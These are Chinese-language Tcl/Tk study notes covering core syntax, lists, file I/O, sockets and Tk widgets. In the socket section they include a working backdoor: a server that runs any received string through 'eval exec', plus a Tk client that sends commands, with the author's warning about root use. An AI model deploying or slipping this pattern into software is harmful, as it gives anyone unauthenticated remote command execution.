tcl/tk學習筆記 - openfoundry · pdf filetcl/tk學習筆記 整理者:海洋大學...

25
Tcl/Tk 學習筆記 整理者:海洋大學 楊善文 文件授權:自由授權(允許自由散佈、修改、重製、使用無任何限制) 文件版本:2010.11.24(第二版) Tcl/Tk 官方網站:http://www.tcl.tk/ 2010.11 新增內容概述: 這份筆記是擴充了 2009 年的筆記內容,由於之前筆記大部分來自於書本內容與 Tcl/Tk 語法的基本展示,在實際開發上仍會遇到不小的瓶頸。2010 年這一版本的文件將會擴充過 去未提到的 Tcl/Tk 函式說明。並且說明 Tcl/Tk 的延伸函式庫使用,例如 mysqltcl、tcllib 等, 並且實做並紀錄特定功能的小程式經驗。 此文件未來也會不斷更新,用 Tcl/Tk 寫的程式越 多,心得與技巧也會越多。

Upload: letruc

Post on 12-Mar-2018

481 views

Category:

Documents


24 download

TRANSCRIPT

Tcl/Tk 學習筆記

整理者:海洋大學 楊善文

文件授權:自由授權(允許自由散佈、修改、重製、使用無任何限制)

文件版本:2010.11.24(第二版)

Tcl/Tk 官方網站:http://www.tcl.tk/

2010.11 新增內容概述:

這份筆記是擴充了 2009 年的筆記內容,由於之前筆記大部分來自於書本內容與 Tcl/Tk

語法的基本展示,在實際開發上仍會遇到不小的瓶頸。2010 年這一版本的文件將會擴充過

去未提到的 Tcl/Tk 函式說明。並且說明 Tcl/Tk 的延伸函式庫使用,例如 mysqltcl、tcllib 等,

並且實做並紀錄特定功能的小程式經驗。 此文件未來也會不斷更新,用 Tcl/Tk 寫的程式越

多,心得與技巧也會越多。

2009 年舊版內容概述:

這是從兩份文件資源學習而來的筆記,部份功能筆者還未成功試出來,所以原作部份內

容筆者無法做紀錄,直到摸索成功後才有辦法加進此筆記內,書本的章節後半段也還沒看完,

目前中文筆記份量只有這些。

閱讀原作:

1.http://www.linbox.com/ucome.rvt/any/fr/Ressources/Cours/tcl/cour1_tcl.pdf

2.Tcl and the Tk Toolkit, John K. Ousterhout 著, ISBN:3893197931 (1994)

第一份文件資料是非常精簡易懂的,也是筆者推薦的入門教材,第二份文件是一本書,裡面

的內容非常詳盡,涵蓋了幾乎所有 Tcl/Tk 的功能介紹,缺點是這本書已經很老了,不過可

以從第一份文件(2005 年釋出)來彌補更新功能的介紹。因此這份學習筆記即是這兩份文件的

中文統整(算是重點整理)。

Tcl/Tk 安裝方式與指令終端機:

Tcl/Tk 算是跨平台支援非常好的語言,幾乎各大平台都可以看到它的蹤影,許多泛Unix /

Linux平台幾乎已經內建可使用了,但是如果要用最新版,除了從 www.activestate.com 網站

下載以外,直接 source code編譯安裝也非常方便:

cd 到解壓縮的 tcl 與 tk 目錄下的 unix/目錄,執行:./configure && make && make install 即

可安裝完成。在一般的 Unix 終端機下輸入 tclsh或 tclsh8.5 即可執行,但是預設沒有快速回

復執行過去命令的功能(像是 BASH SHELL的↑鍵)與 TAB鍵補字功能,在作 Tcl 指令練習時並

不方便。除了直接寫成檔案來執行外,筆者推薦一個用 Tcl 語言寫成小巧方便的終端機

tkcon:http://tkcon.sourceforge.net/

Tcl 部份:Tcl 語言語法:

*每條命令句以「換行」或是分號「;」分隔,每行如果長度過長可用反斜線「\」斷成兩行

書寫,註解號是「#」,註解號後的語句程式不會讀取。空格區隔兩個敘述單詞。方括號 [ ]

用於母命令句內的子命令句先執行出結果,再傳至母命令句做處理。「$」代表變數表示

(一個已宣告的)。反斜線另一功能是「置入特殊字元」或「將 TCL認定的語句變成普通字

元」,大括號 { } 用於部份函式和陣列。

*命令句語法:指令 變數 參數 …

Par exemple:

set a 24 #將 24存入 a變數,宣告變數指令:set

set a 24; set b 25 #同一行有兩個命令句,用「;」隔開

expr 24/3.2 #計算 24除 3.2 的結果,求值指令:expr

set a ''這是什麼'' #將'' ''內的值都存入 a

set a [ set b ''zzz'' ] #先執行完 [ ] 內的,再將結果存入 a

puts $a #在螢幕上印出之前宣告的 a 內含值,輸出指令:puts

例 2: set x 4

set y x+10 #這樣「x+10」會被當成字串看待

set y [ expr $x+10 ] #這樣才能真正能計算出結果「14」,存入 y

*變數取代:

Par exemple:

foreach num { 1 2 3 4 5 } {

button .b$num # button 是 Tk 的按鈕宣告

} #此結果是 num 從 1 到 5,而產生 b1,b2...,b5 的變數

*特殊字元:1.''\a'':聲音警告 2.''\b'':回去一格(0x8) 3.''\n'':換行(0xa)

4.''\t'':Tab鍵(0x9)

*Tcl支援兩種變數形式,「單一變數」和「陣列」。

變數處理指令:

append:

添加一個新變量(字串或數字等)到一個變數中,接在原來內含值之後而不覆寫原內含值。

用法:append 變數名 ''待加入的變量'' …

incr:

對一個變數內含值加一(預設)或是加某數。用法:

1. incr a # 對 a 變數內含值加一

2. incr a 16 #內含加 16

set:

宣告、覆寫一個變數。用法: set a 16 #將 16存進 a變數

unset:

清除變數(已宣告的)。用法: unset a #清除 a

*Tcl 的變數一定是字串,不需要宣告變數類型,由符號自動判斷。

*Tcl 的陣列與矩陣:可直接宣告矩陣來存值,不用預先定義矩陣大小。

用法: set martix(1,1) 140 # 將 140存入(1,1)區域

*Tcl陣列使用:

array:

這個指令可以處理一個陣列宣告,當一個變數是陣列形式的時候,如果用 puts $[陣列] 對此

陣列作輸出會出現「變數是陣列」的錯誤訊息。假設我們不知道陣列內每個內含元素的名稱

時用 puts 會無法輸出,這時可以此用此指令找出陣列變數所有訊息。

宣告一個陣列變數:

用法:array set陣列名 {

內涵元素名 1 數值 1

內涵元素名 2 數值 2

內涵元素名 3 數值 3

}

Par exemple: (宣告一個名為 cpu 的陣列,並顯示其內含值)

array set cpu {

a intel

b sparc

c amd

}

puts $cpu => 顯示錯誤訊息:can't read "cpu": variable is array

puts $cpu(b) => sparc

錯誤及不良的宣告方式:每個內含元素只能對應一個內含值,並且以空白字元作間隔。

例 1. array set cpu {

a intel

b sparc

c amd ppc # C元素有兩個內含值,會顯示數量不符的錯誤訊息

}

例 2. array set cpu {

a intel

b sparc # 這樣的寫法是可以通過的,其實是因為 ppc跟 x64被

c amd ppc x64 # 判斷為第四個元素,但是會讓程式變得很難看懂。

} # 因此不推薦這樣的寫法

查詢該變數是否是陣列宣告:

用法:array exists 陣列名 # 如果是則傳回 1值,不是或變數不存在皆傳回 0。

查詢該陣列有哪些內涵元素名稱:

用法:array names 陣列名

例: array names cpu => a b c

查詢陣列內所有內含元素名稱與值:

用法:array get 陣列名 # 適合使用在不明內容的陣列判斷

用 tcl辨識作業系統版本、硬體平台為例:

package require platform # 載入延伸模組「platform」來辨識系統

=> 1.0.9

產生模組的版本號,表示載入成功。這時會產生一個 Tcl 內定的陣列變數「tcl_platform

」,此變數內含許多系統訊息,可以用 array get 來全部列出:

array get tcl_platform

=> osVersion 5.11 pointerSize 4 byteOrder littleEndian machine i86pc platform unix

=> os SunOS user root wordSize 4

puts $tcl_platform(os) => SunOS # 顯示其中一個元素(作業系統種類)

*Tcl 內定變數:

argv0:執行一個 Tcl/Tk 的腳本檔案時,此變數 argv0 即是該檔案的「檔名」

argv:執行 Tcl/Tk腳本,後接的參數或變數,即存入此變數

argc:同上之後接參數的數量

env:系統環境變數,可從此變數調用。例:$env(PATH)

*整數表示式:

十進位:不需加任何在數字之前。例:376

八進位:數字前加「0」。例:0517

十六進位:數字前加「0x」。例:0x14f

*條件判斷:正確則輸出「1」值,否則是「0」。

*算符:1.加減乘除:+,-,*,/ 2.餘數:% (只能算整數)

3.移位:a<<b (a向左移 b個 bit), a>>b (a右移 b個 bit)

4.大小判斷:< , > , <= , >= 5.是否等於:== 、 是否不等於:!=

6.AND:&& OR:|| NOT:!

7.a?b:c :如果 a條件不是 0,則進行 b,否則執行 c。

TCL內建數學函式:

abs(x) x 的絕對值 hypot(x,y) (x2 + y2)1/2

acos(x) cos-1(x),範圍:0 ~ π int(x)

asin(x) sin-1(x),範圍:-π/2 ~ π/2 log(x) x 的自然對數(e為底)

atan(x) tan-1(x),範圍:-π/2 ~ π/2 log10(x) x 的自然對數(10為底)

atan2(x,y) tan-1(x/y),範圍:-π/2 ~ π/2 pow(x,y) x 的 y次方:xy

ceil(x) x值無條件進入至整數 round(x)

cos(x) 餘弦函數 cos(x) sin(x) 正弦函數 sin(x)

cosh(x) 雙曲線函數 cosh(x) sinh(x) 雙曲線函數 sinh(x)

double(x) sqrt(x) √x

exp(x) 指數:ex tan(x) 正切函數 tan(x)

floor(x) x值無條件捨去至整數 tanh(x) 雙曲線函數 tanh(x)

fmod(x,y) x除以 y 的餘數

*設定 Tcl數值精度:使用變數「tcl_precision」。

Par exemple: set tcl_precision 12

expr 1.11111111 + 1.11111111 => 2.22222222

*Lists:字串或數字的集合陣列之使用:

當一些字串以空格分開時,每個字串即是一個個別單元(元素)。

list:宣告一個列告,每個以空格間隔的都是一個個別單元。用法:(下標線辨別數目)

list {a b c} {d e} f {g h i} => {a b c} {d e} f {g h i} :共四個元素

concat:宣告一個列表,將每個子集合內的元素,都統整進一個大列表集合中。用法:

concat {a b c} {d e} f {g h i} => a b c d e f g h i:共九個

lindex:從列表中取出一個元素。用法:

lindex 列表 index (index代表要從列表中取出第幾個數)

例: lindex {John0 Anne1 Many2 Jim3} 1 => Anne (上標代表引數)

lindex { a0 b1 {c d e}2 f3} 2 => c d e

llength:查看列表中有多少元素。用法:llength {{a b c} {d e} f {g h i}} => 4

linsert:插入一個新元素到列表。例: set x {a b {c d} e} => a0 b1 {c d}2 e3

linsert $x 2 X Y Z => a0 b1 X Y Z2 {c d}3 e4 # 插入到第三個

lreplace:置換列表中的一個元素,用法:lreplace 列表 index1 index2 置換的元素

(index1和 index2控制要被置換的元素範圍,從 index1 到 index2)

例: 1. lreplace {a0 b1 {c d}2 e3} 3 3 => a b {c d}

(從 3 到 3,即只有第 4個要被置換,後不接置換的元素即該項被刪除)

2. lreplace {a0 b1 {c d}2 e3} 1 2 {W X} Y Z => a {W X} Y Z e

lrange:從列表取出某特定區域範圍的元素。用法:lrange 列表 index1 index2

例: lrange {a0 b1 {c d}2 e3} 1 3 => b {c d} e # 取出 1~3 的範圍

lappend:添加元素進列表尾端。例:set x {a b}; lappend x 3 => a b 3

lrepeat:重複產生相同元素的列表。用法:lrepeat [重複次數] [元素]

例: lrepeat 3 a => a a a

lrepeat 2 [lrepeat 3 b] c => {b b b} c {b b b} c

lsearch:尋找指定字串在列表中是否存在,並顯示在第幾個。(從 0 開始,找不到顯示''-1'')

例: set x {John0 Anne1 Mary2 Jim3}

lsearch $x Mary => 2

lsearch $x Phil => -1 # 沒找到,傳回「-1」值

lsearch -glob $x A* => 1 # 加「-glob」參數可用萬用字元收尋

lsort:將一個列表內的元素做重新排序。(預設字母順序由小到大)

例: lsort {John Anne Mary Jim} => Anne1 Jim2-1 John2-2 Mary3

(第一個字母相同再檢查第二個,加「-decreasing」參數為反向(由大到小)排序,加

「-integer」參數把元素當數值來比較)

split:將一串字串切開,從指定的字元來區分。用法:split 字串 指定區分字元

例: set x a/b/c; set y /usr/include/sys/type.h

split $x / => a b c

split $y / => {} usr include sys type.h

join:將許多分離的字串接合,用指定的字元接合。用法:join {字串 1 字串 2 ... } 指定字元

例: join {{} usr include sys types.h} / => /usr/include/sys/types.h

*程式流程控制:

if:如果某指定條件成立,即執行,否則略過。語法:if {判斷句} {執行句}

Par exemple :if { $x < 0} {

set x 0 # 若$x 的值小於 0,就定 x=0

}

if-else迴圈:多條件判斷用「elseif」相接,最後都不符合時,跳到「else」區。

If { 判斷句 1 } {

執行句 1

} elseif { 判斷句 2 } {

執行句 2

} elseif { 判斷句 3 } {

……

} else {

……

}

for迴圈:變數從某區到某區時,連續執行迴圈內語句。

用法:for { 變數起始值 } {判斷變數是否到達終值 } { 變數增加量 } {

執行句(迴圈區域)

}

例: for { set i 0 } { $i <= 10 } { incr i 1} {

puts $i

}

while迴圈:判斷變數是否符合條件,不符合即跳出。用法:while { 條件句 } { 執行句 }

例: while { $i >= 0 } { puts $i }

foreach:將列表值依序置入變數中條件判斷式

用法:foreach 變數 列表 { 執行句 }

例: foreach a $b {

puts $a # 把 b列表的內含值陸續置入變數 a 中,然後印出 a值

}

*迴圈內的條件控制:break(跳出)、continue(繼續:用於迴圈終點)

switch形式條件判斷:

switch $x {

a { 執行句 1 } # 若$x值為 a,執行「句 1」指令,以此類推。

b { 執行句 2 }

c { 執行句 3 }

}

eval 用途:一次對整個變數內含做全部處理

例:清空列表所有元素: set zzz { a b c d }

eval unset $var

after:延遲指定秒數後,再往下執行程式。

用法:after 毫秒數 下一指令

例: after 5000 [ puts "zzz"] # 按下[Enter]後,五秒後顯示"zzz"

宣告新函式並使用:

proc 新函數名 { 外部引入變數(1個或多個) } { 執行句 }

例 1: proc sum {a b} {expr $a + $b } # 設定兩個變數 a,b 的函式 sum

sum 3 4 => 7 # 3、4對應入 a、b 進函式內做運算

例 2: proc fac x { # 定義階乘函式

if { $x <= 1 } {

return 1

}

expr $x * [ fac [expr $x -1 ] #遞迴計算$x

}

fac 4 => 24 (expr 4* [fac 3] = expr 4*3*[fac 2] = expr 4*3*2*[fac 1] = 24)

例 3:讓函式自己反覆執行自己,適合用來寫像是小時鐘類的程式(之後 Tk 章節會提到)。

這邊是顯示逐漸上升的數值。

set ::i 0 # 宣告一個函式內外皆可傳遞數值的變數 i

proc a {} {

incr ::i # 每執行 a 函式::i值自動加 1,若 i 不加「::」會永遠顯示 1。因為

puts $::i # 函式執行完內部的 i消失,重新用外部的 0 開始。

after 1000 a # 宣告一個每 1000毫秒(1秒)後重複執行此函式

}

*區域變數與全域變數:一般宣告的變數在函式執行結果即消失,稱為區域變數。若宣告

「global 變數名」即可應用在整個程式中。但 Tcl 不提供靜態變數。一般變數前面加上

「::」使此變數的數值可以在宣告的函式內外傳遞,也是一種全域變數的表示方式。

*字串處理:

利用 string指令後接參數來控制字串;format 指令定義輸入輸出變數的精度與類型。

找出字串中第幾個字元: string index ''字串'' 引數(第幾個字元)

取出字串某區域內的字元:string range ''字串'' 開始數 結束數(數字或''end'')

尋找最左邊的符合字串: string first ''欲比對字串'' ''字串''

尋找最右邊的符合字串: string last ''欲比對字串'' ''字串''

將兩字串做比對: string compare 字串 1 字串 2 , string match 字串 1 字串 2

計算字串長度: string length ''字串''

字母大小寫轉換:全變大寫 string toupper ''字串''

全變小寫 string tolower ''字串''

例: string index ''Sample string'' 3 => p # 從零算起

string range ''Sample string'' 3 7 => ple s

string compare A字串 A字串 => 0 # 兩字串吻合,傳回值「0」

string compare A字串 B字串 => 1或-1 # 兩字串不合,傳回值「1」或「-1」

string length ''sample string'' => 13 # 長度從 1 算起

string match A字串 A字串 => 1 # 符合傳回「1」,不合為「0」

string match A字串 B字串 => 0

*常用萬用字元與正規表示法:

從零到多個任意字元:* 正規表示:[ 從多少到多少 ]

單個任意字元:. 例如: [ 0-9A-Z]

開始處任意字元:^ 結束處任意字元:$

判斷字串是否符合指定區域內的元素:regexp { 正規表示式 } 字串

符合傳回「1」,不合傳回「0」

*格式化輸出字串: format ''字串'' [輸入變數] # 類似 C 語言的 printf()

例: format ''10 的平方根是 %3f'' [expr sqrt(10)] => 10 的平方根是 3.162

浮點數:%f,%X.Yf (小數點後有 Y位,總長 X位)

整數:%d,%Xd (整數寬度 X位)

字串:%s 字元:%c

類似 printf()的輸出方式:puts [ format ''字串區'' 變數… ]

*讓程式從鍵盤讀入字串:gets stdin 輸入變數

例: puts "請輸入字串:"

gets stdin a # 當程式執行到這行時,輸入任意字串,例如 ZZZzzz

puts "字串是$a" => 字串是 ZZZzzz

*檔案存取:

開啟檔案:open 檔案名 參數(r,w,a,+)

關閉檔案:close 檔案變數

例: set f [ open 新檔案 w+ ] # r,w,a 後面的「+」讓檔案可讀寫

close $f # 第一行宣告的 f 是檔案變數

開檔讀出字串: sets 檔案變數 傳入變數 (每次一行的方式傳入數值)

read 檔案變數 (一次讀出全部內容)

例: set f [ open 新檔案 r+] # Tcl 沒有「rw」選項,與 C 不同

while { [ gets $f a ] >= 0 } {

puts $a # 從$f 得到字串後輸入至 a 中,一次讀一行

}

close $f

set f [ open 新檔案 r+]

set b [ read $f] # 檔案內容全部輸入至 b 中

puts $b # 會印出跟之前一樣的內容

開啟檔案寫入內容:puts 檔案變數 輸出變數

其實檔案變數本身即可視為一個通道(I/O channel),在 open 一個檔案時系統會建立一個傳

遞的通道,並為此通道命一個名稱,前文"set f"的用意就是給此通道一個代名以方便管理。

對此檔案的輸入輸出即可看成是向通道內取出/丟入東西(讀檔/存檔)。同樣的觀念也是用於

網路連結處理函式:socket。

set f [open 新檔案 w+]

puts "請輸入字串:"

gets stdin inputf # 從鍵盤輸入字串進變數 inputf 中

puts $f $inputf # 將讀入的字串傳入通道$f 中

close $f

*檔案訊息:file 選單 檔案名稱

file 用法與選單關係:

指令 選單 說明 傳回值

file exists 檔案或目錄是否存在 是=1/否=0

executable 檔案是否可執行 是=1/否=0

readable 檔案是否可讀取 是=1/否=0

writable 檔案是否可寫入 是=1/否=0

isfile 該名稱是否是檔案 是=1/否=0

isdirectory 該名稱是否是目錄 是=1/否=0

owned 目前使用者是否有擁有權 是=1/否=0

size 檔案大小(bytes) 大小數值

stat 檔案訊息 訊息陣列

例:file stat 某檔案 info # 將某檔案的訊息傳入變數 info 中

執行外部指令或檔案:exec 外部指令 延伸變數

例: exec cat << ''test donne'' > foo

exec ls -l => 會跳出錯誤訊息,執行的指令無法跟隨參數。

(Tcl 會把"ls -l"當成是一個檔案,這時可以用 eval 來解決)

eval exec ls -l => 可以正常顯示一般Unix下 ls -l 的輸出結果

exec 不能處理萬用字元,但可以用 eval處理:

例:exec rm *.o 不能用。eval exec rm [ glob *o ] 可以。

*Tcl調用系統時間:

連續使用 clock 指令,通常先取出總秒數,再格式化輸出,即可產生易懂的時間格式。

set s [clock seconds] # clock seconds 會輸出總秒數,先存入一個變數內。

set time_now [ clock format $s -format "%Y %m %d %H %M %S"]

puts $time_now => 2010 11 07 11 56 43 (這些數字分別代表:年 月 日 時 分 秒)

常用時間格式:%Y:年 %m:月 %d:日 %H:時 %M:分 %S:秒

也可以讓它顯示的更美觀,或是只輸出想看到的部份時間:

set time_now [ clock format $s -format "%Y年%m月%d日 %H : %M "]

puts $time_now => 2010 年 11月 07日 11:56

如果是要查詢執行一段程式會花多少時間,則是使用 time 指令:time 指令或函式名

例: time pwd => 43 microseconds per iteration

*建立網路連結:socket [-server] 動作 Port

網路連結通道的建立有分為 Server 端跟 Client 端,因此 socket 指令其中一端要加上「-

server」參數啟動並進入等待狀態,Client 端的 socket要設定連到 Server 端開啟的 Port。

當 Client 端的 socket 一執行以後,通道(channel)就建立了,後續的 Server跟 Client都可以

利用在 socket 指令定義的動作(fonctions)來向通道丟入訊息。

Server 端例:先建立一個函式,定義收到連結後要做的動作,再用 socket啟動服務。

proc Server { channel cliaddr cliport } {

# 建立名為 Server 的函式,此函式會陸續收到三個系統傳來的 Client 端訊息變數

puts "來自 $cliaddr : $cliport 的連結"

# cliaddr、cliport 是自定的變數:代表 Client 端 IP位址與 Client 端連接 port

gets $channel in # 接收 Client 端傳來的訊息,存入變數"in"中(從通道取出訊息)

puts $in

puts $channel "Server 端收到" # 回覆訊息給 Client 端(丟訊息進通道傳過去)

close $channel # 完成動作,關閉通道。

}

socket -server Server 6339 # 在 port:6339啟動服務

vwait forever # Server 端進入等待連結狀態

Client 端例:直接執行 socket 作連接,並嘗試丟訊息過去。若手邊沒兩台機器,可以直接

用本機 127.0.0.1 作測試。

set channel [socket 127.0.0.1 6339]

# 連上本機 Server 端的 Port 6339,並命名此通道為 channel

Client 端執行結果 => sock6 (當 sock6產生時,遠端 Server 也收到連結訊息了)

Server 端執行結果 => 來自 127.0.0.1 : 61711 的連結

puts $channel "Client 端呼叫" # 向通道(Server 端)傳入訊息

flush $channel # 用 flush 指令送出仍在緩衝區變數,Server 才能收到。

Server 端執行結果 => Client 端呼叫

gets $channel line => 9 # 接收 Server 端傳回訊息

puts $line => Server 端收到

gets $channel line => -1

# 測試 Server 端是否還有訊息傳來,傳回"-1"代表已經是空值。

puts $line => (結果空無訊息,這樣就完成了一個簡單的連結)

當 socket 可以實做出訊息互傳時,下一步就會讓人想嘗試傳輸指令的可行性。以下範例是

實作一支簡單的後門程式。原理就是其中一方當接收器,並把接收的訊息當成指令來執行。

Server 端程式:

#!/usr/bin/tclsh8.5

proc Server { channel clientaddr clientport} {

puts "來自 $cliaddr : $cliport 的連結"

gets $channel line

puts $line

set aaa [eval exec $line] # 把送來的字串當指令執行

puts $aaa

# 查看是否執行成功(真正對遠端測試是看不到的,為了簡化程式範例而加入)

close $channel

}

socket -server Server 9900

vwait forever

當 server 端啟動後,Client 端只要寫出一支非常簡單的發送字串程式,並且設法讓 Server

端的 root 權限人員執行到這支後門,這台 Server就能夠被攻擊了。

這是用 Tk 寫的非常簡單的 Client 端程式,只負責將填入的字串發送出去:

#!/usr/bin/wish8.5

label .com -text "命令列:"

entry .entry -textvar var # Tk 的 entry 是用來讀入鍵盤字串的小框

button .ok -text "OK" -command {

set sock1 [socket 127.0.0.1 9900]

puts $sock1 $var # 每當按下 OK鈕字串就送到遠端 Server 去

flush $sock1

}

pack .com .entry .ok -side top

程式執行結果:

遠端任何人傳來的字串到 Server 端,系統都會認定是此使用者在執行程式,因此如果是

root執行到這支程式,遠端任何人都可以當 root 任意摧殘系統,非常危險,筆者強烈建議

不要在自己正式 Server 上試玩這支程式。

*離開 Tcl Shell:exit 指令,無傳回值。

*查看之前輸入的 Tcl 指令:history

Tk 部份:Tk視窗程式語法:

物件主從關係:.a.b.c… ,「.c」從於「.b」、「.b」從於「.a」。子物件會在主物件下產

生。物件名稱宣告: .物件名。

宣告以 Tk 作腳本語言: #!/usr/bin/wish (大部分平台預設位置)

wish8.5 的預設中文字型優於 8.4 版,8.5 版的 Tcl/Tk速度比 8.4快很多。但大部分 Linux 與

[Open]Solaris 等平台預設都是安裝 8.4。兩大版本共存時宣告用 8.5: #!/usr/bin/wish8.5

在 tcl腳本宣告使用 tk除了直接在檔案開頭宣告"#![wish路徑]"外,也可以保留原本的 tclsh

宣告並用載入延伸模組的方式載入 tk 來使用:

#!/usr/bin/tclsh

package require Tk

新增一個物件視窗:toplevel .物件名

這將會產生兩個視窗:原本 Tk腳本預設產生一個,toplevel額外再產生一個。

摧毀一個物件:destroy .物件名

按鈕指令:button .物件名 -text ''按鈕上的文字'' -command { 指令 }

視窗內文字:label .物件名 -text ''文字內容'' -textvariable ''變動文字變數''

用相對位置放置物件:pack .物件 1 .物件 2 … -side 方向 -fill [x/y/both]

變動文字變數的使用例:小時鐘

label .main -textvariable ::time_now

pack .main # 先產生物件視窗後,在加時間進去

proc clock_set { } {

set s [clock seconds]

set ::time_now [clock format $s -format "%Y年%m月%d日 %H:%M:%S"]

# clock_set 函式內的 time_now 加上「::」是第一個關鍵,為了把數值傳出函式

after 1000 clock_set # 小時鐘的另一個關鍵,讓函式重複執行自己

}

clock_set

*當物件(按鈕、文字、選單)宣告後,一定要用 pack 等置放物件指令在視窗中初始化,排

列方式(-side)的方向有(top,bottom,left,right):上、下、左、右。代表由此宣告方向往另

一方向排列。例:''-side left''代表由左往右排列。

而''-fill''選項是物件朝X或 Y方向填滿視窗,當按鈕或其他物件內文字數量不同時,會造成

物件大小不一致,利用''-fill''填滿可美化視窗的用途。

例: button .a -text ''abc''

button .b -text ''abcdefg'' # 宣告三個不同長度的按鈕

button .c -text ''a''

1. pack .a .b .c -side top # 左圖,產生三個長度不一的按鈕

2. pack .a .b .c -side top -fill x # 是否加''-fill''參數所造成的差異(右圖),平舖並排

pack 的物件間距選單''-padx''與''-pady'':後接數值。該物件與週邊物件或視窗邊緣的距離多

少。Tk 的距離數值表示法:[數值][單位]

*單位:c(公分)、m(公釐 mm)、p(像素)。例:''72m''代表 72mm、''3c''代表 3公分

3D樣式邊框物件:frame .物件名 -relief 邊框樣式 -borderwidth 邊框寬度

''-relief''選單有:raised(凸出)、sunken(下凹)、flat(平板)、groove(凹邊框)、

ridge(凸邊框)

''-borderwidth''與''-bd''(縮寫選項):後接[數值][單位],控制邊框框線寬度

在物件產生、初始化後改變物件屬性: .物件名 configure 選項參數 …

物件的大小選單:''-height'' 高度數值、 '' -width '' 寬度數值

物件的顏色選單:''-background'' 背景色、 ''-foreground'' 前景色

顏色表示法: #f00:紅色、#ff0:黃色、#fff:白色 … (#RGB 十六位值)

用網格座標放置物件:grid .物件名 -column [數值] -row [數值]

=> 將物件放在第幾行第幾列的區塊中

輸入文字方塊:entry .物件名 -textvariable 變數名

=> 宣告一個可輸入文字的方塊物件,輸入的文字存入「變數名」中

可多選方塊物件:checkbutton .物件名 -text 選項文字 -variable 變數 -command { 指令 }

測試例: checkbutton .a -text ''選項文字'' -variable var1 -command { puts $var1 }

pack .a

=> 第一行用途是測試當視窗產生後,點選選擇框後,變數會有什麼改變。

當選取時,終端機會印出 1。取消選取則會印出 0

單選擇方塊物件:radiobutton .物件名 -text 選項文字 -variable 變數 -value 變數

測試例: radiobutton .a -text "Mig-1.44" -variable var1 -value 3 \

-command { puts $var1 }

radiobutton .b -text "Tu-160" -variable var1 -value 5 \

-command { puts $var1 }

pack .a .b -side top -fill x

radiobutton 的''-value''選項是當點選了這個物件,會將怎樣的數值存入''-variable''後宣告的

變數中,如範例所顯示,點到 Mig-1.44就會印出 3,點到 Tu-160就會印出 5。一個視窗中能

夠多少選多少的數目取決於''-variable''宣告的變數有幾種,若多個 radiobutton物件都宣告

用相同變數,則整個視窗內就只能多選一。但是若每個物件都宣告用不同變數時(例如第一

行是 var1,而第二行是 var2),則成為多選狀態,勾選完就不能取消勾選了。

訊息視窗指令:message .物件名 -aspect 自動計算行寬 -justify [left/center/right] \

-text ''訊息文字''

*物件的外在事件觸發機制:bind .物件名 <觸發方式> { 動作 }

用 bind宣告觸發事件,並用 pack或grid初始化進視窗後,利用滑鼠或鍵盤的鍵(觸發方式)

對著此物件,即會產生動作。

Bind 的使用例:set var 0

label .lab -textvariable var # 視窗中顯示可變動文字

bind .lab <Enter> { incr var } # 滑鼠一指到物件即加 1

pack .lab

=> 以上程式只要滑鼠指標一移到物件.lab 的區域內,即會讓顯示的數值加 1。

觸發方式列表:

滑鼠:<Enter>:滑鼠一指到物件即觸發(移進物件區)

<1>:滑鼠左鍵觸發 <2>:滑鼠中鍵觸發

<3>:滑鼠右鍵觸發 <motion>:滑鼠在物件上一移動即觸發

<ButtonRelease>:滑鼠三鍵皆觸發 <Leave>:移出物件觸發

鍵盤:all <Key>:常用方式,讀出所有鍵盤數值至變數''%K''中。

將鍵盤讀入字元呈現在物件中範例:

label .lab -textvariable var

bind all <Key> {set var ''%K'' }

bind .lab <Motion> { set var ''%x %y'' }

pack .lab # 第二行的%K 可顯示讀入字元,第三行讀滑鼠座標

常用 bind 內定變數:

1.「%x」與「%y」:滑鼠在「物件內」的座標

2.「%K」:鍵盤讀入字元

3.「%W」:由滑鼠觸發物件,此變數會讀出此物件的名稱:''.物件名''

視窗加入圖片:image create [photo/bitmap] 圖片代名 -file 圖檔名稱或路徑

圖片產生可跟 label結合宣告,再用 pack跟其他物件作排列,photo 是彩色影像模式,

bitmap 是黑白,圖檔通常要用 GIF類檔案。

使用例:image create photo test -file /usr/share/pixmaps/xxx.gif

label .testp -image test

pack .testp # 將圖以 label物件呈現在視窗中

選項列視窗:listbox .物件名 -yscrollcommand ''捲動軸物件設定''

使用方式例:listbox .a -yscrollcommand ''.捲動軸物件 set''

pack .a

.a insert 字串 …

捲動軸:scrollbar .物件名 -command ''選單物件設定''

捲動軸 scrollbar必須與旁邊文字或選項列物件結合宣告,才能拉動對方。

使用例 1:text .text -yscrollcommand ''.a set''

scrollbar .a -command ''.text yview''

pack .a -side right -fill y

pack .text -expand yes -fill both

.text insert ''字串…''

使用例 2:listbox .a -yscrollcommand ''.b set''

scrollbar .b -command ''.a yview''

pack .a .b -side right -fill y

數值拉動軸:scale .物件名 -label ''說明文字'' -from 初值 -to 末值 \

-orient [ horizontal/vertical] -length 軸長

「-orient」參數是拉動軸的方向(平行/垂直)

使用例:scale .a -label "時間調整器" -from 0 -to 200 -orient horizontal \

-length 10c -variable zz

button .b -text "確定" -command { puts $zz } # 每按一次確定鈕就會印出之前調的數值

pack .a .b -side top -fill x

選單物件:menu .物件名 #先宣告選單物件,再將東西添加進去

.物件名 add [command/separator/radiobutton/checkbutton/cascade/…] \

-label 選單文字 -command { 指令 }

選單標題按鈕:menubutton .物件名 -text ''標題文字''

使用方式例:

menubutton .a -text "標題文字" -menu .a.menu1

pack .a # 先初始化物件再加選單進去

menu .a.menu1 # 加入選單

.a.menu1 add command -label "離開" -command { exit }

.a.menu1 add separator # 純產生分隔線

.a.menu1 add cascade -label "子選單" -menu .a.menu1.menu2 # 產生子選單圖樣

.a.menu1 add checkbutton -label "選項框" -variable zz -onvalue S300 \

-offvalue SS-N-22 -command { puts $zz} # 勾選與不勾選會傳不同值進 zz

menu .a.menu1.menu2

.a.menu1.menu2 add radiobutton -label "子單選區" … # 加入子選單

利用 meu 指令給某個物件加上選單功能,通常加在用 menubutton宣告的按鈕下,cascade選

項可在選單中產生一個三角標示,可在此加入子選單(仍然用 menu宣告)。checkbutton利用

「-onvalue」和「-offvalue」設定輸入至「-variable」的變數數值。

文字視窗物件:text .物件名 ''宣告整個視窗的大小樣式…''

.物件名 insert 物件內插入文字

tag 將宣告的標籤作處理

mark 文字的位置標示

image

window

search

cget 允許查詢物件的選單值

configure 調整物件的選項

delete 刪除部份物件內容

dump

get

see

xview

yview

文字字串指位器:寫法「X.Y」與「@x,y」、「end」、marque名、tag名.[first/last]

X.Y:第「X」行第「Y+1」個字元,例:「1.10」是第 1行第 11個字元

@x,y:第 x長與 y寬度「單位 pixel」中的字元

@0,0:螢幕左上角的字元

end:行尾字元

